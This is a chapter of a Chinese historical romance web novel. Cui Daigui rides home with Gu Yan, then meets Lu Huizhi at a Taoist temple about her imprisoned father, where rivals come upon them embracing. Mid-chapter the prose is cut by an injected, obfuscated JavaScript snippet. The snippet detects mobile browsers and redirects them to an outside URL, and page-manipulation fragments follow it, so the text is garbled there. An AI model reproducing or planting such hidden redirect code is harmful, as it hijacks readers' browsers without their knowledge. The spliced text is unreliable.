落日熔金,暮云合璧。
青帷马车行驶在无人的街道上,顾晏还是来时那样的疏慵姿态,坐在雪白狐毛垫上,闭目养神。
崔黛归这次连缩在角落都觉难受。
她心中五味杂陈,只觉这宽敞华贵的马车压得她心口闷闷。
干脆起身倚窗而坐,只留个背对着顾晏。
从顾晏的方向望过去,便只见一袭红裙铺散在雪白织金的绒毯上。
他面色淡淡,却起身燃起案上烛火。
昏暗的马车之中有了光亮,在烛光映照下,窗边一身红衣的女郎半倚半坐,头上乌发堆叠松绾,身下是如云似雾的雪白绒毯,宛若一只食人心肝的妖。
顾晏就这么垂眸看着她,车外风景变幻,车内静谧安然。
便如一同出游尽兴,趁着天黑归家的夫妻。
许是看得久了,崔黛归心中再乱,也感受到身后那道不容忽视的灼灼目光。
她心中暗叹一声,撩下帘子,转过身来。
就见顾晏那张温润清隽的面容在烛火下,显出几分难得的缱绻来。
“过来。”
声线清润而懒散,连个眼皮都未抬,颇有贵公子指使人惯了的雍容气度。
崔黛归凝眸看他。
若非方才父亲讲的那段过往,简直便要将这人打同上京那些贵公子一样的傲慢。
可她如今看着,却只觉这皮相上的矜贵傲慢,该是如何养成。
认贼作父,奉仇为君。
只是想一想,崔黛归都觉心口闷涩。
她垂下头,也不起身,就这么慢吞吞从绒毯上挪了过去。
便听顾晏笑了声,“真当自己是小猪仔儿?”
“坐这,”他拍了拍铺着雪白蓬松狐毛的矮塌,“那绒毯,好不易从波斯商人那儿寻来,可别给我压坏了。”
“......”崔黛归问,“父亲同你说了什么?”
他散漫笑意一顿,接着又恢复了笑容,“自是托付终身——”
“催我快快娶了你过门呢。”
崔黛归又一次梗住。
这家伙,当真嘴里没一句实话,哪还有半点先生的样子?
却也知道问不出什么了。
索性往那狐毛上一坐,暗暗使力,给他将这毛彻底给压扁了。
一路无言,等到马车停下时,童叁一撩车帘。
崔黛归却未下车,想了想问道:“先生明日可还有空?今日匆忙,未能捎带点吃食给父亲。”
顾晏垂眸,手指闲闲敲在案上。
半晌后,才道:“明日赈灾收尾,等后日。”
崔黛归颔首吿谢,目光便落在了他那缠白纱的手上。
那白纱带系的紧,不知是谁给包扎的,竟在手心处打了个死结,变得细而硬,勒在手上,看着都难受。
不像她打的结,好看的像朵花似的,还不勒人。
案上孤灯恍恍,似是察觉目光,那手停下敲击。
顾晏抬眸望来,就见崔黛归眼中带了几分迟疑忧色。
“纱布卷边了,我替你重新包扎罢?”
少女的嗓音轻柔,落在这烛火染就的一方车厢内,显得温宁而美好。
可顾晏却蓦地想到了那日夜里,她冷冷丢过来的那柄剑。
他手指不受控地蜷了蜷,几乎就想缩回去。
可终归贪念那抹带了担忧的温柔目光,于是坦然摊在案上,垂眸道:“不必。”
崔黛归心中一叹,收回目光。
跳下车时,却见府门前崔涣冲了过来。
“二姐!二姐!”
他哭嚎着打听崔溢消息,无果后又转而说起,“方才张大姑娘着人来,邀二姐明日去青云观呢。”
“她去道观做什么?”崔黛归蹙眉。
“不止,她还特地嘱咐了,陆郎君也会去。”
“陆徽之?”崔黛归脚下一顿。
“嗯,”崔涣一脸希冀,“我能不能一起去?他们是不是有父亲的消息了?”
二人边说边进了门,直到府门阖上,童叁才调转马车。
“还去宫里么?”他问。
灭佛打出了凶名,顾晏如今正借着赈灾收拾贪腐烂账。
这两日朝野上,许多人都是避着他走,生怕触了霉头落得同崔侯一般下场。
宫中账册堆积如山,入了宫,便是明日晚间也未必回得来。
等了半晌,车内久无回应,童叁心想大概是不去了,正要驾车回府。
忽见车内烛火一晃,彻底陷入黑暗。
“去。”
一道低沉嗓音也自漆黑中传出。
童叁闻言,心中叹一口气,不再多话。
翌日一早,崔黛归便赶到青云观。
观中山茶开得甚好,如火如荼点染在楼阁殿宇之间,人行走其间半遮半掩,若隐若现,如游画中。
绕过回廊,远远便见亭中一道萧疏清隽的身影。
陆徽之等了许久,观中雾气散,雨露干,才瞧见崔黛归缓步过来的身影。
他面上不自觉现出一丝笑意,缓步下阶,迎了过去。
“元邦勉死在了狱中,这是当年随陛下前往西沙城的人员名单。”
陆徽之从袖中抽出一折薄纸,“我近日一一私下拜访过,有一个猜想。”
崔黛归接过那张纸,展开细看,不下十人。
“当年顾氏幼子或存活于世......”
陆徽之眉宇间隐现忧色,“或许正是你父亲私自放出。”
崔黛归起初并不惊异,听到最后时,心底却蓦的一颤。
“你是说,我父亲入狱,”
崔黛归收起那纸,“是因着元邦勉拿了此事揭发?”
“多半如此。”
“可父亲为何......”
崔黛归说着,想起昨日狱中崔溢追悔愧疚的模样,声音渐弱。
他做的出来。
当年他能私放顾南望,如今也能憋着一口气抵死不认。
当年为顾氏忠烈,也为自己良心。
如今为崔氏全族,亦为自己良心。
他当年能放了顾南望,如今更不会咬出顾南望。
可抵死不认的下场......
前世他可是被毒死狱中呐!
崔黛归瞬间泪如雨下,“他不告诉我,是想着我在他死后好好活着么?想着崔御鸾和崔涣都好好活着么?”
“陆郎君。”
她眼中盈满泪花,喃喃道:“此局何解?此局何解......”
陆徽之看着这样的她,胸口开始隐隐作痛。
只是,此事一出,疑心既起,清白已不再重要。
“最好的法子,便是查无此人,还崔侯一个清白。”
陆徽之沉声道:“生死荣辱,全在皇上一念之差。”
“同行之人只知当年狱中起了火,最终寻到的尸骨也都对得上,只是烧焦了辨认不得。”
陆徽之道:“你父亲陡然下狱,他们不知何故正担忧唇亡齿寒,我打算再去会会,撰写一份当年见闻实录呈上,总归能打消一些皇上的疑心。”<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15355912|162742||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
/p>
崔黛归心知他好意,可是,“贸然掺和其中,会牵连到你的。”
“你伤未大好,接下来的事便让我来做吧。”
她强撑出一个笑来,“好歹边关诸事,我更熟悉呢。”
这笑落在陆徽之眼里,只觉心疼不已。
诺大侯府,如今只她一人支应,该是何等惶惶。
他唇角微翕,终归还是没忍住道出心底那话。
“蛮蛮,我可以,抱抱你么?”
话音刚落,便被一片柔软的木樨甜香拥住。
崔黛归轻轻抱住他的腰,将头埋在他胸膛上,小心避开了那伤口。
感受到底下温热跳动着的心脏,她的心也仿佛被抚平般,连日来的提心吊胆,终于在这个温暖干净的怀抱中得片刻喘息。
“陆郎君,父亲他,”崔黛归口吻濡湿,仿佛声音从濛濛春雨中传来,“不会死吧?”
怀中的姑娘,此刻脆弱地如同一片雨中的云,陆徽之抬手,轻而缓地在她背上拍着。
这样堂而皇之抱着她,是他想过多时的。
可此刻当真抱住了,他眼底,却除了心疼,还是心疼。
他叹了口气,眸底转深,露出些许锋芒,“世间事总讲究一个公道,崔侯亦不例外。”
“蛮蛮,查清真相,还无辜之人公道,这是我该做的。”
他只是,一瞬间生出了悔意。
后悔从前为何没有快些往上爬,更快些去攀那高位。
“我只怕,帮不到你,明白么?”
这声音轻柔若梦,似喟似叹,可崔黛归能听出那底下藏着的决然。
连绵而坚韧,纵付诸性命亦在所不惜。
她猛然抬眸,自他怀中抬起的那双湿润杏眼,便猝不及防对上一双沉沉墨眸。
那眼眸中丝丝缕缕的温柔浑不作假,毅然抛却一切的决心更做不得假。
崔黛归心中一惊,前世他的结局蓦然浮现眼前。
她几乎是颤着手,抚上他的眼,“别——”
吱呀。
枝桠被踩断,清脆响声惊动拥抱着的二人同时回眸。
便见隔着一簇如火如荼的山茶花,一前一后两个身影隐约浮现。
正疑心是张乐容来了,下一瞬,李慎的脸侧过花丛。
随后,顾晏那双淡漠冷寒的眸子,隔着红艳艳的山茶花,徐徐瞥来。
花丛这边。
李慎抬开脚,那截枯枝已然粉碎。
见到崔黛归望来,他面上露出一丝清澈笑意,唇角的梨涡旋出一个好看的弧度。
可下意识攥紧的手上,白纱包住的那截腕子,隐约渗出鲜红血迹。
正要绕过花丛往那边去,却见身前一双暗纹织金的乌皮六合靴,立如松玉,牢牢将他挡住。
“这样的笑,有过多少次?”
顾晏回眸,目光平静落在他的脸上。
李慎的笑霎时隐去,不复方才人畜无害的少年模样。
他低嗤一声,如鹿般湿润而明亮的眸中涌出暗色。
那暗色之中,赫然是顾晏垂在身侧,裹了白纱的手。
“敢问顾大人的伤,是如何来的?”
顾晏不意他如此敏锐,却也在这瞬间猜到什么。
不由讥讽开口:“你的伤,又是如何来的?”
气氛凝滞,火星四起。
而再后边些的廊桥上,张乐容闲闲收回目光,不禁翻了个白眼。
她的身侧,累死累活大半夜赶路入宫,又在天未亮赶路出宫的童叁,更是一脸的苦相。